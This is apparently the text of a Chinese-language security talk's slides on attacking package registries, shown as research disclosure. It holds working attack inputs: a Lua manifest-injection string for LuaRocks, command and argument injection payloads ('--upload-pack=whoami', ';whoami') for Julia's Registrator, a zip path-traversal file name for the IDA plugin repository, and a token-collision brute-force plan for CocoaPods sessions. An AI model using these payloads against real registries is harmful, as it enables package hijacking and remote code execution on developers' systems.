
Hack the

Package Registries

／ 根
惡 源 
魔 性



沒錯。
你說的



好好選用公認知名的安裝來源。



用可信任的開發者做的套件。



裝 package 的時候不要打錯字。



但是，



如果整個 package 的來源

根本被駭掉了ㄋ



$ whois splitline.tw

 Security Researcher @ DE✓CORE.

 UNDEFINED Conclave Member.

 Average Web 󰴛.

SPLITLINE



供應鏈攻撃
Supply Chain Attack

kiong ìng liān kong kik



Package Registry
PyPI, npm, RubyGems, NuGet…

requests Newtonsoft.Json express.js

上傳

套件開發者



Package Registry
PyPI, npm, RubyGems, NuGet…

requests Newtonsoft.Json express.js

上傳

套件開發者



Package Registry
PyPI, npm, RubyGems, NuGet…

requests Newtonsoft.Json express.js

上傳

套件開發者



Package Registry
PyPI, npm, RubyGems, NuGet…

requests Newtonsoft.Json express.js

上傳

套件開發者



requests Newtonsoft.Json express.js

上傳

套件開發者

Package Registry
PyPI, npm, RubyGems, NuGet…



Newtonsoft.Json express.js

上傳

套件開發者

Package Registry
PyPI, npm, RubyGems, NuGet…

requests

 Poision.

Compromise



Newtonsoft.Json express.js

上傳

套件開發者

Package Registry
PyPI, npm, RubyGems, NuGet…

requests

 Poision.

Compromise打 Web
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#Lua #OpenResty #ngx_lua #nvim



$ luarocks install lua-cjson



luarocks.org/manifest

manifest.repository["lua-cjson"][<ver>]

{{arch="rockspec"}, {arch="src"}}

luarocks.org/lua-cjson-2.1.0.10-1.rockspec



luarocks.org/manifest

manifest.repository["lua-cjson"][<ver>]

{{arch="rockspec"}, {arch="src"}}

luarocks.org/lua-cjson-2.1.0.10-1.rockspec

竄改 →

← 劫持



luarocks.org/manifest

manifest.repository["lua-cjson"][<ver>]

{{arch="rockspec"}, {arch="src"}}

luarocks.org/lua-cjson-2.1.0.10-1.rockspec

commands = {}
modules = {}
repository = {
   ["15puzzle.nvim"] = {
      ["1.4.0-1"] = {
         {
            arch = "rockspec"
         }, {
            arch = "src"
         }
      },
      ["1.4.1-1"] = {
         {
            arch = "rockspec"
         }, {
            arch = "src"
         }
      },
      ["main-1"] = {

Lua Script

Global
Manifest



luarocks.org/manifest

manifest.repository["lua-cjson"][<ver>]

{{arch="rockspec"}, {arch="src"}}

luarocks.org/lua-cjson-2.1.0.10-1.rockspec

commands = {}
modules = {}
repository = {
   ["15puzzle.nvim"] = {
      ["1.4.0-1"] = {
         {
            arch = "rockspec"
         }, {
            arch = "src"
         }
      },
      ["1.4.1-1"] = {
         {
            arch = "rockspec"
         }, {
            arch = "src"
         }
      },
      ["main-1"] = {

Global
Manifest

lua-cjson-2.1.0.10-1.src.rock

lua-cjson-2.1.0.10-1.rockspec



luarocks.org/manifest

manifest.repository["lua-cjson"][<ver>]

{{arch="rockspec"}, {arch="src"}}

luarocks.org/lua-cjson-2.1.0.10-1.rockspec

commands = {}
modules = {}
repository = {
   ["15puzzle.nvim"] = {
      ["1.4.0-1"] = {
         {
            arch = "rockspec"
         }, {
            arch = "meow"
         }
      },
      ["1.4.1-1"] = {
         {
            arch = "rockspec"
         }, {
            arch = "src"
         }
      },
      ["main-1"] = {

Global
Manifest

lua-cjson-2.1.0.10-1.src.rock

         }, {
            arch = "src"
         }



luarocks.org/manifest

manifest.repository["lua-cjson"][<ver>]

{{arch="rockspec"}, {arch="src"}}

luarocks.org/lua-cjson-2.1.0.10-1.rockspec

commands = {}
modules = {}
repository = {
   ["15puzzle.nvim"] = {
      ["1.4.0-1"] = {
         {
            arch = "rockspec"
         }, {
            arch = "meow"
         }
      },
      ["1.4.1-1"] = {
         {
            arch = "rockspec"
         }, {
            arch = "src"
         }
      },
      ["main-1"] = {

Global
Manifest

lua-cjson-2.1.0.10-1.meow.rock

         }, {
            arch = "meow"
         }



luarocks.org/manifest

manifest.repository["lua-cjson"][<ver>]

{{arch="rockspec"}, {arch="src"}}

luarocks.org/lua-cjson-2.1.0.10-1.rockspec

commands = {}
modules = {}
repository = {
   ["15puzzle.nvim"] = {
      ["1.4.0-1"] = {
         {
            arch = "rockspec"
         }, {
            arch = "meow"
         }
      },
      ["1.4.1-1"] = {
         {
            arch = "rockspec"
         }, {
            arch = "src"
         }
      },
      ["main-1"] = {

Global
Manifest

lua-cjson-2.1.0.10-1.meow".rock

         }, {
            arch = "meow\""
         }



luarocks.org/manifest

manifest.repository["lua-cjson"][<ver>]

{{arch="rockspec"}, {arch="src"}}

luarocks.org/lua-cjson-2.1.0.10-1.rockspec

commands = {}
modules = {}
repository = {
   ["15puzzle.nvim"] = {
      ["1.4.0-1"] = {
         {
            arch = "rockspec"
         }, {
            arch = "meow"
         }
      },
      ["1.4.1-1"] = {
         {
            arch = "rockspec"
         }, {
            arch = "src"
         }
      },
      ["main-1"] = {

Global
Manifest

lua-cjson-2.1.0.10-1.meow\".rock

         }, {
            arch = "meow\\""
         }



luarocks.org/manifest

manifest.repository["lua-cjson"][<ver>]

{{arch="rockspec"}, {arch="src"}}

luarocks.org/lua-cjson-2.1.0.10-1.rockspec

commands = {}
modules = {}
repository = {
   ["15puzzle.nvim"] = {
      ["1.4.0-1"] = {
         {
            arch = "rockspec"
         }, {
            arch = "meow"
         }
      },
      ["1.4.1-1"] = {
         {
            arch = "rockspec"
         }, {
            arch = "src"
         }
      },
      ["main-1"] = {

Global
Manifest

lua-cjson-2.1.0.10-1.meow\".rock

         }, {
            arch = "meow\\""
         }



evil-1.0.x\"}}}};repository={'lua-json
'={['1.0.1-1']={...}};--.rock

  }

},

my-evil-plugin = {

  ["0.0.1"] = {

    {

      arch = "x\\"}}}};repository={'lua-cjson'={[...]}};

    }

 },

Pwned!



evil-1.0.x\"}}}};repository={'lua-json
'={['1.0.1-1']={...}};--.rock

  }

},

my-evil-plugin = {

  ["0.0.1"] = {

    {

      arch = "x\\"}}}};repository={'lua-cjson'={[...]}};

    }

 },

Pwned!



luarocks.org/manifest

manifest.repository["lua-cjson"][<ver>]

{{arch="rockspec"}, {arch="src"}}

luarocks.org/lua-cjson-2.1.0.10-1.rockspec



luarocks.org/manifest

manifest.repository["lua-cjson"][<ver>]

{{arch="rockspec"}, {arch="src"}}

luarocks.org/lua-cjson-2.1.0.10-1.rockspec



luarocks.org/manifest

manifest.repository["lua-cjson"][<ver>]

{{arch="rockspec"}, {arch="src"}}

luarocks.org/lua-cjson-2.1.0.10-1.rockspec

lua-cjson 2.1.0.10-1
Name Version



luarocks.org/manifest

manifest.repository["lua-cjson"][<ver>]

{{arch="rockspec"}, {arch="src"}}

luarocks.org/lua-cjson-2.1.0.10-1.rockspec

lua-cjson-2.1.0.10
Name

1
Version



luarocks.org/manifest

manifest.repository["lua-cjson"][<ver>]

{{arch="rockspec"}, {arch="src"}}

luarocks.org/lua-cjson-2.1.0.10-1.rockspec

lua-cjson-2.1.0.10
Name

1
Version



luarocks.org/manifest

manifest.repository["lua-cjson"][<ver>]

{{arch="rockspec"}, {arch="src"}}

luarocks.org/lua-cjson-2.1.0.10-1.rockspec

lua-cjson-2.1.0.10
Name

1
Version



luarocks.org/manifest

manifest.repository["lua-cjson"][<ver>]

{{arch="rockspec"}, {arch="src"}}

luarocks.org/lua-cjson-2.1.0.10-1.rockspec

lua-cjson-2.1.0.10
Name

1
VersionPwned!



https://docs.google.com/file/d/1olS_riQ_b_ekp8eZzPndQN9Jz1lYKYvW/preview
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(@v1.10) pkg> add JSON
  Installing known registries into `~/`
   Resolving package versions...
   Installed Parsers ─ v2.4.0
   Installed JSON ──── v0.21.3
    Updating `~/.julia/environments/v1.10/Project.toml`
  [682c06a0] + JSON v0.21.3
    Updating `~/.julia/environments/v1.10/Manifest.toml`
  [682c06a0] + JSON v0.21.3
  [69de0a69] + Parsers v2.4.0
  [ade2ca70] + Dates
  [a63ad114] + Mmap
  [de0858da] + Printf
  [4ec0a83e] + Unicode
Precompiling environment...
  2 dependencies successfully precompiled in 2 seconds

 github.com/JuliaRegistries/General.git.



repo_url

subdir

branch



function gettreesha(repo, ref, subdir)

   return try

       url = cloneurl(repo)

       mktempdir() do dir

           dest = joinpath(dir, repo)

           withpasswd(url) do url, env

               run(Cmd(`git clone --bare $url $dest`; env))

           end

           readchomp(`git -C $dest rev-parse $ref:$subdir`), ""

       end

# ……



function gettreesha(repo, ref, subdir)

   return try

       url = cloneurl(repo)

       mktempdir() do dir

           dest = joinpath(dir, repo)

           withpasswd(url) do url, env

               run(Cmd(`git clone --bare $url $dest`; env))

           end

           readchomp(`git -C $dest rev-parse $ref:$subdir`), ""

       end

# ……

omg CoMmAnD InJeCtIoN

subdir= ;whoami

main: ;whoami



function gettreesha(repo, ref, subdir)

   return try

       url = cloneurl(repo)

       mktempdir() do dir

           dest = joinpath(dir, repo)

           withpasswd(url) do url, env

               run(Cmd(`git clone --bare $url $dest`; env))

           end

           readchomp(`git -C $dest rev-parse $ref:$subdir`), ""

       end

# ……

omg CoMmAnD InJeCtIoN

exec("git", ["git", "-C", "/tmp/x", "rev-parse", "main:; whoami"])

TL;DR 這樣安全。



function gettreesha(repo, ref, subdir)

   return try

       url = cloneurl(repo)

       mktempdir() do dir

           dest = joinpath(dir, repo)

           withpasswd(url) do url, env

               run(Cmd(`git clone --bare $url $dest`; env))

           end

           readchomp(`git -C $dest rev-parse $ref:$subdir`), ""

       end

# ……



function gettreesha(repo, ref, subdir)

   return try

       url = cloneurl(repo)

       mktempdir() do dir

           dest = joinpath(dir, repo)

           withpasswd(url) do url, env

               run(Cmd(`git clone --bare $url $dest`; env))

           end

           readchomp(`git -C $dest rev-parse $ref:$subdir`), ""

       end

# ……

--upload
-pack=wh

oami;://
foo.com/

bar.git

omg ArGuMeNt InJeCtIoN



function gettreesha(repo, ref, subdir)

   return try

       url = cloneurl(repo)

       mktempdir() do dir

           dest = joinpath(dir, repo)

           withpasswd(url) do url, env

               run(Cmd(`git clone --bare $url $dest`; env))

           end

           readchomp(`git -C $dest rev-parse $ref:$subdir`), ""

       end

# ……

omg ArGuMeNt InJeCtIoN ✅



function gettreesha(repo, ref, subdir)

   return try

       url = cloneurl(repo)

       mktempdir() do dir

           dest = joinpath(dir, repo)

           withpasswd(url) do url, env

               run(Cmd(`git clone --bare $url $dest`; env))

           end

           readchomp(`git -C $dest rev-parse $ref:$subdir`), ""

       end

# ……

omg ArGuMeNt InJeCtIoN ✅
api.github.com/repos/<user>/<repo>

{

  "full_name":"<user>/<repo>",

  ...

  "clone_url":"https://github.com/...",

}



function gettreesha(repo, ref, subdir)

   return try

       url = cloneurl(repo)

       mktempdir() do dir

           dest = joinpath(dir, repo)

           withpasswd(url) do url, env

               run(Cmd(`git clone --bare $url $dest`; env))

           end

           readchomp(`git -C $dest rev-parse $ref:$subdir`), ""

       end

# ……

omg ArGuMeNt InJeCtIoN ✅
api.github.com/repos/<user>/<repo>

{

  "full_name":"<user>/<repo>",

  ...

  "clone_url":"https://github.com/...",

}

廢洞 😭



JuliaRegistries/Registrator.jl



JuliaRegistries/Registrator.jl

JuliaWeb/HTTP.jl

JuliaWeb/GitForge.jl

RCE！



JuliaRegistries/Registrator.jl

JuliaWeb/HTTP.jl

JuliaWeb/GitForge.jl

RCE！



function gettreesha(repo, ref, subdir)

   return try

       url = cloneurl(repo)

       mktempdir() do dir

           dest = joinpath(dir, repo)

           withpasswd(url) do url, env

               run(Cmd(`git clone --bare $url $dest`; env))

           end

           readchomp(`git -C $dest rev-parse $ref:$subdir`), ""

       end

# ……

api.github.com/repos/<user>/<repo>

{

  "full_name":"<user>/<repo>",

  ...

  "clone_url":"https://github.com/...",

}



function gettreesha(repo, ref, subdir)

   return try

       url = cloneurl(repo)

       mktempdir() do dir

           dest = joinpath(dir, repo)

           withpasswd(url) do url, env

               run(Cmd(`git clone --bare $url $dest`; env))

           end

           readchomp(`git -C $dest rev-parse $ref:$subdir`), ""

       end

# ……

api.github.com/repos/<user>/<repo>

{

  "full_name":"<user>/<repo>",

  ...

  "clone_url":"https://github.com/...",

}

⬆ ⬆
怎麼拆出來的



function gettreesha(repo, ref, subdir)

   return try

       url = cloneurl(repo)

       mktempdir() do dir

           dest = joinpath(dir, repo)

           withpasswd(url) do url, env

               run(Cmd(`git clone --bare $url $dest`; env))

           end

           readchomp(`git -C $dest rev-parse $ref:$subdir`), ""

       end

# ……

api.github.com/repos/<user>/<repo>

{

  "full_name":"<user>/<repo>",

  ...

  "clone_url":"https://github.com/...",

}

repo_url = https://github.com/<user>/<repo>



function gettreesha(repo, ref, subdir)

   return try

       url = cloneurl(repo)

       mktempdir() do dir

           dest = joinpath(dir, repo)

           withpasswd(url) do url, env

               run(Cmd(`git clone --bare $url $dest`; env))

           end

           readchomp(`git -C $dest rev-parse $ref:$subdir`), ""

       end

# ……

api.github.com/repos/<user>/<repo>

{

  "full_name":"<user>/<repo>",

  ...

  "clone_url":"https://github.com/...",

}

repo_url = https://github.com/<user>/<repo>

用 / 分割



function gettreesha(repo, ref, subdir)

   return try

       url = cloneurl(repo)

       mktempdir() do dir

           dest = joinpath(dir, repo)

           withpasswd(url) do url, env

               run(Cmd(`git clone --bare $url $dest`; env))

           end

           readchomp(`git -C $dest rev-parse $ref:$subdir`), ""

       end

# ……

api.github.com/repos/<user>/<repo>

{

  "full_name":"<user>/<repo>",

  ...

  "clone_url":"https://github.com/...",

}

repo_url = https://github.com/<user>/<repo>\..\foo

👀 反斜線 \ 



function gettreesha(repo, ref, subdir)

   return try

       url = cloneurl(repo)

       mktempdir() do dir

           dest = joinpath(dir, repo)

           withpasswd(url) do url, env

               run(Cmd(`git clone --bare $url $dest`; env))

           end

           readchomp(`git -C $dest rev-parse $ref:$subdir`), ""

       end

# ……

api.github.com/repos/../whatever\endpoint

{

 "clone_url":"--upload-pack=pwned;://foo",

}

可控的 JSON

任意 API 路徑穿越！



function gettreesha(repo, ref, subdir)

   return try

       url = cloneurl(repo)

       mktempdir() do dir

           dest = joinpath(dir, repo)

           withpasswd(url) do url, env

               run(Cmd(`git clone --bare $url $dest`; env))

           end

           readchomp(`git -C $dest rev-parse $ref:$subdir`), ""

       end

# ……

api.github.com/repos/../whatever\endpoint

{

 "clone_url":"--upload-pack=pwned;://foo",

}

穿去什麼路徑 🤔

可控的 JSON



function gettreesha(repo, ref, subdir)

   return try

       url = cloneurl(repo)

       mktempdir() do dir

           dest = joinpath(dir, repo)

           withpasswd(url) do url, env

               run(Cmd(`git clone --bare $url $dest`; env))

           end

           readchomp(`git -C $dest rev-parse $ref:$subdir`), ""

       end

# ……

api.github.com/repos/../whatever\endpoint

{

 "clone_url":"--upload-pack=pwned;://foo",

}

要穿越去什麼路徑 🤔

可控的 JSON



api.github.com /markdown

/repos/X/Y/contents/file.md

/repos/X/Y/releases/assets/67

/repos/X/Y/actions/jobs/67/logs



api.github.com/markdown

POST /markdown HTTP/1.1

Host: api.github.com

{"text":"foo"}

<p>foo</p>



api.github.com/repos/X/Y/contents/F

GET /repos/foo/bar\contents\README HTTP/1.1\r\n

accept: application/vnd.github.v3.raw

Host: api.github.com

# Hello, World!

❌ 第二個 / 



api.github.com/repos/X/Y/releases/assets

GET /repos/x/y\releases\assets\67 HTTP/1.1\r\n

accept: application/octet-stream

Host: api.github.com

HTTP/2 302

Location: https://objects.githubusercontent.co…

❌ 第二個 / 



2026-02-01T05:14:17.2753620Z Current runner version: '2.331.0'

2026-02-01T05:14:17.2817650Z ##[group]Runner Image Provisioner

2026-02-01T05:14:17.2824450Z Hosted Compute Agent

2026-02-01T05:14:17.2830680Z Version: 20260123.484

2026-02-01T05:14:17.2831450Z Commit: 6bd6555ca37d84114959e1c76d2c01448ff61c5d

2026-02-01T05:14:17.2832310Z Build Date: 2026-01-23T19:41:17Z

2026-02-01T05:14:17.2832960Z Worker ID: {add5b1d6-1345-42d0-8d4b-4e0124578afc}

2026-02-01T05:14:17.2833510Z Azure Region: westus

2026-02-01T05:14:17.2834050Z ##[endgroup]

2026-02-01T05:14:17.2837580Z ##[group]Operating System

api.github.com/repos/X/Y/actions/…/logs

GET /repos/x/y\actions\jobs\67\logs HTTP/1.1

Host: api.github.com

不能變 JSON



2026-02-01T05:14:17.2753620Z Current runner version: '2.331.0'

2026-02-01T05:14:17.2817650Z ##[group]Runner Image Provisioner

2026-02-01T05:14:17.2824450Z Hosted Compute Agent

2026-02-01T05:14:17.2830680Z Version: 20260123.484

2026-02-01T05:14:17.2831450Z Commit: 6bd6555ca37d84114959e1c76d2c01448ff61c5d

2026-02-01T05:14:17.2832310Z Build Date: 2026-01-23T19:41:17Z

2026-02-01T05:14:17.2832960Z Worker ID: {add5b1d6-1345-42d0-8d4b-4e0124578afc}

2026-02-01T05:14:17.2833510Z Azure Region: westus

2026-02-01T05:14:17.2834050Z ##[endgroup]

2026-02-01T05:14:17.2837580Z ##[group]Operating System

api.github.com/repos/X/Y/actions/…/logs

GET /repos/x/y\actions\jobs\67\logs HTTP/1.1

Host: api.github.com

不能變 JSON



2026-02-01T05:14:17.2753620Z Current runner version: '2.331.0'

2026-02-01T05:14:17.2817650Z ##[group]Runner Image Provisioner

2026-02-01T05:14:17.2824450Z Hosted Compute Agent

2026-02-01T05:14:17.2830680Z Version: 20260123.484

2026-02-01T05:14:17.2831450Z Commit: 6bd6555ca37d84114959e1c76d2c01448ff61c5d

2026-02-01T05:14:17.2832310Z Build Date: 2026-01-23T19:41:17Z

2026-02-01T05:14:17.2832960Z Worker ID: {add5b1d6-1345-42d0-8d4b-4e0124578afc}

2026-02-01T05:14:17.2833510Z Azure Region: westus

2026-02-01T05:14:17.2834050Z ##[endgroup]

2026-02-01T05:14:17.2837580Z ##[group]Operating System

api.github.com/repos/X/Y/actions/…/logs

GET /repos/x/y\actions\jobs\67\logs HTTP/1.1

Host: api.github.com

怎來的 👀



git push

GitHub Runners

GitHub
Actions

📃 Log



git push

Self-Hosted Runners

GitHub
Actions

📃 Log



git push

Self-Hosted Runners

GitHub
Actions

📃 任意 log 內
容

爆改 
Runner



2026-02-01T05:14:17.2753620Z Current runner version: '2.331.0'

2026-02-01T05:14:17.2817650Z ##[group]Runner Image Provisioner

2026-02-01T05:14:17.2824450Z Hosted Compute Agent

2026-02-01T05:14:17.2830680Z Version: 20260123.484

2026-02-01T05:14:17.2831450Z Commit: 6bd6555ca37d84114959e1c76d2c01448ff61c5d

2026-02-01T05:14:17.2832310Z Build Date: 2026-01-23T19:41:17Z

2026-02-01T05:14:17.2832960Z Worker ID: {add5b1d6-1345-42d0-8d4b-4e0124578afc}

2026-02-01T05:14:17.2833510Z Azure Region: westus

2026-02-01T05:14:17.2834050Z ##[endgroup]

2026-02-01T05:14:17.2837580Z ##[group]Operating System

api.github.com/repos/X/Y/actions/…/logs

GET /repos/x/y\actions\jobs\67\logs HTTP/1.1

Host: api.github.com



{

 "whatever": "meow",

 "foo": "bar",

 "clone_url":"--upload-pack=whoami;://foo/bar.git"

}

api.github.com/repos/X/Y/actions/…/logs

GET /repos/x/y\actions\jobs\67\logs HTTP/1.1

Host: api.github.com



function gettreesha(repo, ref, subdir)

   return try

       url = cloneurl(repo)

       mktempdir() do dir

           dest = joinpath(dir, repo)

           withpasswd(url) do url, env

               run(Cmd(`git clone --bare $url $dest`; env))

           end

           readchomp(`git -C $dest rev-parse $ref:$subdir`), ""

       end

# ……

{

 "clone_url":"--upload-pack=id;://x/y",

}

api.github.com/repos/../hack\exp\actions\jobs\1337\logs

可控的 JSON

git clone --bare --upload-pack=id;://x /tmp/x



function gettreesha(repo, ref, subdir)

   return try

       url = cloneurl(repo)

       mktempdir() do dir

           dest = joinpath(dir, repo)

           withpasswd(url) do url, env

               run(Cmd(`git clone --bare $url $dest`; env))

           end

           readchomp(`git -C $dest rev-parse $ref:$subdir`), ""

       end

# ……

{

 "clone_url":"--upload-pack=id;://x/y",

}

api.github.com/repos/../hack\exp\actions\jobs\1337\logs

可控的 JSON

git clone --bare --upload-pack=id;://x /tmp/xPwned!



目標 / 3/4





非常事態

The IDA Plugin Repository



《緊急任務》

The IDA Plugin  Repository





$ hcli plugin install HappyIDA







LLM 1-shot!



repo/BadPlugin/ida-plugin.json

repo/BadPlugin/entry.py

repo/BadPlugin/../../../../../plugin-repository.json

ez hacking 👍



repo/BadPlugin/ida-plugin.json

repo/BadPlugin/entry.py

repo/BadPlugin/../../../../../plugin-repository.json

Upload!









Cron Job
GitHub Workflow

🔍 filename:ida-plugin.json

hexrayssa.github.io/plugin-repository

/plugin-repository.json

hcli plugin install <pkg>

解壓+解析 repositories 的 release zip



🤔



…







Pwned!





$ pod trunk register 'me@splitline.tw'

 [!] Please verify the session by clicking 
 the link in the verification email that
 has been sent to me@splitline.tw



$ pod trunk register 'me@splitline.tw'

 [!] Please verify the session by clicking 
 the link in the verification email that
 has been sent to me@splitline.tw

8 位數 hex？



$ pod trunk register 'me@splitline.tw'

 [!] Please verify the session by clicking 
 the link in the verification email that
 has been sent to me@splitline.tw

8 位數 hex？

爆
破

嗎?



0xFFFFFFFF－0x11111111+1

十六進制 × 八位數



4,008,636,143 個



4,008,636,143 個
50 次/秒



80172722.8 秒≈



927.93 天≈



2.54 年≈
平均為 2.54 ÷ 2 ≈ 1.27 年



平均為 2.54 ÷ 2 ≈ 1.27 年

2.54 年≈
有
點
久 🤏



$ pod trunk register 'me@splitline.tw'

 [!] Please verify the session by clicking 
 the link in the verification email that
 has been sent to me@splitline.tw



$ pod trunk register 'me@splitline.tw'

 [!] Please verify the session by clicking 
 the link in the verification email that
 has been sent to me@splitline.tw

$ pod trunk register 'me@splitline.tw'

 [!] Please verify the session by clicking 
 the link in the verification email that
 has been sent to me@splitline.tw

$ pod trunk register 'me@splitline.tw'

 [!] Please verify the session by clicking 
 the link in the verification email that
 has been sent to me@splitline.tw

$ pod trunk register 'me@splitline.tw'

 [!] Please verify the session by clicking 
 the link in the verification email that
 has been sent to me@splitline.tw



$ pod trunk register 'me@splitline.tw'

 [!] Please verify the session by clicking 
 the link in the verification email that
 has been sent to me@splitline.tw

$ pod trunk register 'me@splitline.tw'

 [!] Please verify the session by clicking 
 the link in the verification email that
 has been sent to me@splitline.tw

$ pod trunk register 'me@splitline.tw'

 [!] Please verify the session by clicking 
 the link in the verification email that
 has been sent to me@splitline.tw

$ pod trunk register 'me@splitline.tw'

 [!] Please verify the session by clicking 
 the link in the verification email that
 has been sent to me@splitline.tw

$ pod trunk register 'me@splitline.tw'

 [!] Please verify the session by clicking 
 the link in the verification email that
 has been sent to me@splitline.tw

$ pod trunk register 'me@splitline.tw'

 [!] Please verify the session by clicking 
 the link in the verification email that
 has been sent to me@splitline.tw

$ pod trunk register 'me@splitline.tw'

 [!] Please verify the session by clicking 
 the link in the verification email that
 has been sent to me@splitline.tw

$ pod trunk register 'me@splitline.tw'

 [!] Please verify the session by clicking 
 the link in the verification email that
 has been sent to me@splitline.tw

$ pod trunk register 'me@splitline.tw'

 [!] Please verify the session by clicking 
 the link in the verification email that
 has been sent to me@splitline.tw

$ pod trunk register 'me@splitline.tw'

 [!] Please verify the session by clicking 
 the link in the verification email that
 has been sent to me@splitline.tw

$ pod trunk register 'me@splitline.tw'

 [!] Please verify the session by clicking 
 the link in the verification email that
 has been sent to me@splitline.tw

$ pod trunk register 'me@splitline.tw'

 [!] Please verify the session by clicking 
 the link in the verification email that
 has been sent to me@splitline.tw

$ pod trunk register 'me@splitline.tw'

 [!] Please verify the session by clicking 
 the link in the verification email that
 has been sent to me@splitline.tw

$ pod trunk register 'me@splitline.tw'

 [!] Please verify the session by clicking 
 the link in the verification email that
 has been sent to me@splitline.tw

$ pod trunk register 'me@splitline.tw'

 [!] Please verify the session by clicking 
 the link in the verification email that
 has been sent to me@splitline.tw

mailto:me@splitline.tw
mailto:me@splitline.tw
mailto:me@splitline.tw


$ pod trunk register 'me@splitline.tw'

 [!] Please verify the session by clicking 
 the link in the verification email that
 has been sent to me@splitline.tw

$ pod trunk register 'me@splitline.tw'

 [!] Please verify the session by clicking 
 the link in the verification email that
 has been sent to me@splitline.tw

$ pod trunk register 'me@splitline.tw'

 [!] Please verify the session by clicking 
 the link in the verification email that
 has been sent to me@splitline.tw

$ pod trunk register 'me@splitline.tw'

 [!] Please verify the session by clicking 
 the link in the verification email that
 has been sent to me@splitline.tw

$ pod trunk register 'me@splitline.tw'

 [!] Please verify the session by clicking 
 the link in the verification email that
 has been sent to me@splitline.tw

$ pod trunk register 'me@splitline.tw'

 [!] Please verify the session by clicking 
 the link in the verification email that
 has been sent to me@splitline.tw

$ pod trunk register 'me@splitline.tw'

 [!] Please verify the session by clicking 
 the link in the verification email that
 has been sent to me@splitline.tw

$ pod trunk register 'me@splitline.tw'

 [!] Please verify the session by clicking 
 the link in the verification email that
 has been sent to me@splitline.tw

$ pod trunk register 'me@splitline.tw'

 [!] Please verify the session by clicking 
 the link in the verification email that
 has been sent to me@splitline.tw

$ pod trunk register 'me@splitline.tw'

 [!] Please verify the session by clicking 
 the link in the verification email that
 has been sent to me@splitline.tw

$ pod trunk register 'me@splitline.tw'

 [!] Please verify the session by clicking 
 the link in the verification email that
 has been sent to me@splitline.tw

$ pod trunk register 'me@splitline.tw'

 [!] Please verify the session by clicking 
 the link in the verification email that
 has been sent to me@splitline.tw

$ pod trunk register 'me@splitline.tw'

 [!] Please verify the session by clicking 
 the link in the verification email that
 has been sent to me@splitline.tw

$ pod trunk register 'me@splitline.tw'

 [!] Please verify the session by clicking 
 the link in the verification email that
 has been sent to me@splitline.tw

$ pod trunk register 'me@splitline.tw'

 [!] Please verify the session by clicking 
 the link in the verification email that
 has been sent to me@splitline.tw

Never Expire

生日攻撃！

mailto:me@splitline.tw
mailto:me@splitline.tw
mailto:me@splitline.tw


50 請求/秒

總共 4,008,636,143 個可能



50 次/秒 50 次/秒

創 token 猜 token

總共 4,008,636,143 個可能

先創 再猜



100 / 4,008,636,143 個有效 token

50 個 50 次

創 token 猜 token

創 1 秒 猜 1 秒



100 個 100 次

創 token 猜 token

創 2 秒 猜 2 秒

100 / 4,008,636,143 個有效 token



3000 次3000 個

創 token 猜 token

創 60 秒 猜 60 秒

3000 / 4,008,636,143 個有效 token



30000 次30000 個

創 token 猜 token

30000 / 4,008,636,143 個有效 token

創 600 秒 猜 600 秒



合法 token 數———————4,008,636,143
總共 4,008,636,143 個可能

單次命中率=



總共 4,008,636,143 個可能

合法 token 數———————4,008,636,143

命中期望値=

猜測
次數

×



50×時間———————4,008,636,143

總共 4,008,636,143 個可能

命中期望値=

猜測
次數

(50×時間) ×

合法 token 數=

=



2500 × 時間2 ———————4,008,636,143
總共 4,008,636,143 個可能

命中期望値= 撞到 1 次=



2500 × 1266.272 ———————4,008,636,143
總共 4,008,636,143 個可能

命中期望値= 撞到 1 次=



2500 × 21 分鐘 2 ———————4,008,636,143
總共 4,008,636,143 個可能

命中期望値= 撞到 1 次=



2500 × 21 分鐘 2 ———————4,008,636,143
總共 4,008,636,143 個可能

命中期望値= 撞到 1 次=

創 21 分鐘 + 猜 21 分鐘 = 42 分鐘



$ pod trunk register 'victim@mail.tld'
$ pod trunk register 'victim@mail.tld'
$ pod trunk register 'victim@mail.tld'

…
21分鐘  

http://trunk.cocoapods.org/sessions/verify/deadbeef
12345678

faceb00c

0a1b2c3d
…

f114514f

21分鐘  

http://trunk.cocoapods.org/sessions/verify/e7ab28de 成功!

Pwned!



目標 4/4





$ nuget install Newtonsoft.Json



$ nuget install Newtonsoft.Json

Visual Studio 内建安裝工具

⋯⋯

$ dotnet add package Newtonsoft.Json



nuget install

VS Package Manager

dotnet restore

dotnet add package <pkg>

/v3/registration5-gz-semver2/
newtonsoft.json/index.json

/v3-flatcontainer/newtonsoft.json
/1.2.3/newtonsoft.json.1.2.3.nupkg

Registration Blob Flat Container



Normal.Package.nuspec

lib/net48/foo.dll

lib/net48/bar.dll

📦 pkg.nupkg

開發者

<?xml version="1.0" encoding="utf-8"?>

<package xmlns="http://schema...">

 <metadata>

  <id>Newtonsoft.Json</id>

  <version>13.0.4</version>

  <dependencies>

   <dependency id="Lib.A" version="1.0.0" />

  </dependencies> </metadata> </package>



Normal.Package.nuspec

lib/net48/foo.dll

lib/net48/bar.dll

上傳時期驗證

背景發布工作

📦 pkg.nupkg

開發者

正式發布



Normal.Package.nuspec

lib/net48/foo.dll

lib/net48/bar.dll

上傳時期驗證

背景發布工作

📦 pkg.nupkg

開發者 Normal.Package.nuspec

lib/net48/foo.dll

lib/net48/bar.dll

Blob Storage

儲存



Normal.Package.nuspec

lib/net48/foo.dll

lib/net48/bar.dll

上傳時期驗證

背景發布工作

📦 pkg.nupkg

開發者 Normal.Package.nuspec

lib/net48/foo.dll

lib/net48/bar.dll

Blob Storage

儲存

← 怎麼選中的 🤔



Normal.Package.nuspec

lib/net48/foo.dll

lib/net48/bar.dll

Normal.Package.nuspec

lib/net48/foo.dll

lib/net48/bar.dll

📦 pkg.nupkg

Blob Storage

開發者
儲存

Upload 
Validation

Background Job

選第一個非根目録的 nuspec

1. 先 URL 解碼文件名
2. 走訪所有文件
3. 非根目録→ 跳過
4. *.nuspec → 選中



Normal.Package.nuspec

lib/net48/foo.dll

lib/net48/bar.dll

Normal.Package.nuspec

lib/net48/foo.dll

lib/net48/bar.dll

📦 pkg.nupkg

Blob Storage

開發者
儲存

Upload 
Validation

Background Job

選第一個非根目録的 nuspec

1. 先 URL 解碼文件名
2. 走訪所有文件
3. 非根目録→ 跳過
4. *.nuspec → 選中



Normal.Package.nuspec

lib/net48/foo.dll

lib/net48/bar.dll

Normal.Package.nuspec

lib/net48/foo.dll

lib/net48/bar.dll

📦 pkg.nupkg

Blob Storage

開發者
儲存

Upload 
Validation

Background Job

選第一個沒有 / 的 nuspec

1. 先 URL 解碼文件名
2. 走訪所有文件
3. 有 / 或 \ → 跳過
4. *.nuspec → 選中



Normal.Package.nuspec

lib/net48/foo.dll

lib/net48/bar.dll

